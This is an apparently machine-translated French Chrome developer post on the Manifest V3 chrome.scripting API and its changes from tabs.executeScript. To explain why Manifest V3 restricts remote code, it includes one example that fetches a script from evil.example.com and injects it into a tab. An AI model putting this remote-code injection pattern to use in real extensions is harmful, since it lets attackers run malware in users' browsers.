Présentation de chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 apporte un certain nombre de modifications à la plate-forme d'extensions de Chrome. Dans ce post, nous allons explorer les motivations et les changements introduits par l'un des changements les plus notables : Introduction de l'API chrome.scripting.

Qu'est-ce que chrome.scripting ?

Comme son nom l'indique, chrome.scripting est un nouvel espace de noms introduit dans Manifest V3 des capacités d'injection de scripts et de styles.

Les développeurs qui ont déjà créé des extensions Chrome par le passé connaissent peut-être les méthodes Manifest V2 sur l'API Tabs comme chrome.tabs.executeScript et chrome.tabs.insertCSS. Ces méthodes permettent aux extensions d'injecter des scripts et les feuilles de style en pages, respectivement. Dans Manifest V3, ces fonctionnalités ont été déplacées vers chrome.scripting, et nous prévoyons de l'étendre à de nouvelles fonctionnalités à l'avenir.

Pourquoi créer une API ?

Avec un tel changement, l'une des premières questions qui revient souvent est : « pourquoi ? »

Plusieurs facteurs ont conduit l'équipe Chrome à décider d'introduire un nouvel espace de noms pour les scripts. Tout d'abord, l'API Tabs est une sorte de tiroir indésirable pour les fonctionnalités. Deuxièmement, nous devions faire de la rupture Modifications apportées à l'API executeScript existante. Troisièmement, nous savions que nous souhaitions développer l'utilisation pour les extensions. Ensemble, ces préoccupations ont clairement défini la nécessité d'un nouvel espace de noms de scripts internes.

Le tiroir à déchets

Ces dernières années, l'équipe chargée des extensions a rencontré un problème, L'API chrome.tabs est surchargée. Lorsque cette API a été lancée, la plupart des fonctionnalités qu'elle étaient liées au concept large d'onglet de navigateur. Même à ce moment-là, il s'agissait mais cette collection n'a fait que croître au fil des années.

Au moment du lancement de Manifest V3, l'API Tabs s'était développée pour couvrir la gestion de base des onglets, gestion de la sélection, organisation des fenêtres, messagerie, contrôle du zoom, navigation de base, écriture de scripts et quelques autres fonctionnalités plus petites. Bien que ces éléments soient tous importants, cela peut être un peu écrasant pour pour les développeurs, ainsi que pour l'équipe Chrome qui gère la plate-forme et prendre en compte les demandes de la communauté des développeurs.

Autre facteur de complication : l'autorisation tabs n'est pas bien comprise. Bien que de nombreux autres autorisations limitent l'accès à une API donnée (par exemple, storage), cette autorisation est un peu inhabituelle dans la mesure où elle n'accorde à l'extension l'accès qu'aux propriétés sensibles sur les instances Tab (et par affecte également l'API Windows). Bien entendu, de nombreux développeurs d'extensions pensent à tort il a besoin de cette autorisation pour accéder aux méthodes de l'API Tabs comme chrome.tabs.create ou de façon plus naturelle, chrome.tabs.executeScript. Retirer une fonctionnalité de l'API Tabs permet de clarifier une partie de cette confusion.

Modifications importantes

Lors de la conception de Manifest V3, l'un des principaux problèmes que nous voulions résoudre était les abus et les logiciels malveillants. activé par "code hébergé à distance" : code exécuté, mais non inclus dans l'extension d'un package. Il est courant que les auteurs d'extensions abusifs exécutent des scripts récupérés sur des serveurs distants vers voler les données utilisateur, injecter des logiciels malveillants et échapper aux systèmes de détection. Même si les acteurs de qualité utilisent aussi cette capacité, en fin de compte, a estimé qu'il était tout tout simplement trop dangereux de rester tel quel.

Deux méthodes permettent aux extensions d'exécuter du code dégroupé, mais la plus pertinente Voici la méthode chrome.tabs.executeScript de Manifest V2. Cette méthode permet à une extension exécuter une chaîne de code arbitraire dans un onglet cible. Cela signifie qu'un développeur malveillant peut récupérer un script arbitraire à partir d'un serveur distant et l'exécuter sur n'importe quelle page dans laquelle l'extension peut y accéder. Nous savions que si nous voulions résoudre le problème de code distant, nous devions supprimer ce .

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Nous souhaitions également corriger d'autres problèmes plus subtils liés à la conception de la version Manifest V2. faire de l'API un outil plus soigné et prévisible.

Bien que nous ayons pu modifier la signature de cette méthode dans l'API Tabs, nous avons estimé qu'entre ces modifications destructives et l'introduction de nouvelles fonctionnalités (décrites dans la section suivante), une une pause vide serait plus facile pour tout le monde.

Fonctionnalités de script étendues

Un autre élément pris en compte dans le processus de conception de Manifest V3 était le désir d'introduire des fonctionnalités de script supplémentaires à la plate-forme d'extensions de Chrome. Plus précisément, nous voulions ajouter la compatibilité avec les scripts de contenu dynamique et l'extension des fonctionnalités de la méthode executeScript.

La compatibilité des scripts de contenu dynamique est une demande de fonctionnalité depuis longtemps dans Chromium. Aujourd'hui, Les extensions Chrome Manifest V2 et V3 ne peuvent déclarer des scripts de contenu de manière statique que dans leurs manifest.json fichier ; la plate-forme ne permet pas d'enregistrer de nouveaux scripts de contenu, d'ajuster ou annuler l'enregistrement de scripts de contenu lors de l'exécution.

Bien que nous sachions que nous voulions répondre à cette demande de fonctionnalité dans Manifest V3, aucune de nos Les API vous semblaient être la bonne adresse. Nous avons également envisagé de nous aligner sur Firefox pour leurs scripts de contenu. API, mais nous avons très tôt identifié quelques inconvénients majeurs de cette approche. Tout d'abord, nous savions que nous aurions des signatures incompatibles (par exemple, suppression de la prise en charge de code). . Deuxièmement, notre API avait un ensemble différent de contraintes de conception (par exemple, la nécessité d'un enregistrement pour persistent au-delà de la durée de vie d'un service worker). Enfin, cet espace de noms nous permettrait également une fonctionnalité de script de contenu, qui concerne de façon plus générale l'écriture de script dans les extensions.

Concernant executeScript, nous voulions également étendre ce que cette API pouvait faire au-delà des onglets. Version de l'API compatible. Plus précisément, nous voulions prendre en charge plus facilement les fonctions et les arguments cibler des frames spécifiques et cibler différents contextes.

À l'avenir, nous réfléchissons également à la manière dont les extensions peuvent interagir avec les PWA installées et les autres qui ne correspondent pas conceptuellement à des « onglets ».

Changements entre tab.executeScript et scripting.executeScript

Dans la suite de cet article, j'aimerais examiner de plus près les similitudes et les différences entre chrome.tabs.executeScript et chrome.scripting.executeScript

Injecter une fonction avec des arguments

Tout en réfléchissant à la façon dont la plate-forme devrait évoluer à la lumière du code hébergé à distance des restrictions, nous voulions trouver un équilibre entre la puissance brute de l'exécution de code arbitraire et autorisant les scripts de contenu statique. La solution que nous avons choisie consistait à autoriser les extensions à injecter comme un script de contenu et de transmettre un tableau de valeurs en tant qu'arguments.

Examinons rapidement un exemple (trop simpliste). Supposons que nous voulions injecter un script accueilli l'utilisateur par son nom lorsqu'il clique sur le bouton d'action de l'extension (icône dans la barre d'outils) Dans Manifest V2, nous pourrions construire une chaîne de code de manière dynamique et exécuter ce script dans la version actuelle .

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Bien que les extensions Manifest V3 ne puissent pas utiliser de code qui n'est pas fourni avec l'extension, notre objectif était préserver une partie du dynamisme que les blocs de code arbitraires permettent d'activer pour les extensions Manifest V2. La des fonctions et des arguments permet aux examinateurs, aux utilisateurs et aux autres aux parties intéressées d'évaluer plus précisément les risques liés à une extension tout en permettant les développeurs de modifier le comportement d'exécution d'une extension en fonction des paramètres utilisateur ou de l'état de l'application.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Frames de ciblage

Nous souhaitions également améliorer la façon dont les développeurs interagissent avec les cadres dans la nouvelle API. The Manifest V2 la version de executeScript permettait aux développeurs de cibler tous les frames d'un onglet ou une cadre dans l'onglet. Vous pouvez utiliser chrome.webNavigation.getAllFrames pour obtenir la liste de tous les cadres de un onglet.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Dans Manifest V3, nous avons remplacé la propriété facultative du nombre entier frameId dans l'objet "options" par une tableau frameIds facultatif d'entiers ; cela permet aux développeurs de cibler plusieurs images dans un seul d'un appel d'API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Résultats de l'injection de script

Nous avons également amélioré la façon dont nous renvoyons les résultats d'injection de script dans Manifest V3. Un "résultat" correspond à essentiellement l'énoncé final évalué dans un script. Considérez-la comme la valeur renvoyée lorsque vous appelez eval() ou exécutez un bloc de code dans la console des outils pour les développeurs Chrome, mais sérialisé afin de et transmettre les résultats à tous les processus.

Dans Manifest V2, executeScript et insertCSS renvoyaient un tableau de résultats d'exécution bruts. Cela ne pose aucun problème si vous n'avez qu'un seul point d'injection, mais l'ordre des résultats n'est pas garanti injecter dans plusieurs trames. Il n'y a donc aucun moyen de savoir à quel résultat cadre.

Pour un exemple concret, examinons les tableaux results renvoyés par un Manifest V2 et un Version Manifest V3 de la même extension. Les deux versions de l'extension injectent la même script de contenu pour comparer les résultats sur une même page de démonstration.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Lorsque nous exécutons la version de Manifest V2, nous obtenons un tableau de [1, 0, 5]. Résultat correspondant au cadre principal et laquelle est pour l'iFrame ? La valeur renvoyée ne nous le dit pas, donc nous ne savons pas c'est certain.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Dans la version Manifest V3, results contient désormais un tableau d'objets de résultat au lieu d'un tableau de que les résultats de l'évaluation. Les objets de résultat identifient clairement l'identifiant de la trame pour chaque résultat. Les développeurs peuvent ainsi utiliser beaucoup plus facilement le résultat et prendre des mesures cadre.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Conclusion

Les pics de version du fichier manifeste constituent une occasion rare de repenser et de moderniser les API d'extensions. Notre objectif avec Manifest V3 est d'améliorer l'expérience de l'utilisateur final en renforçant la sécurité des extensions tout en ce qui améliore l'expérience des développeurs. En introduisant chrome.scripting dans Manifest V3, nous avons pu pour nettoyer l'API Tabs et repenser executeScript pour une plate-forme d'extensions plus sécurisée. et jeter les bases de nouvelles fonctionnalités de script qui seront lancées dans le courant de l'année.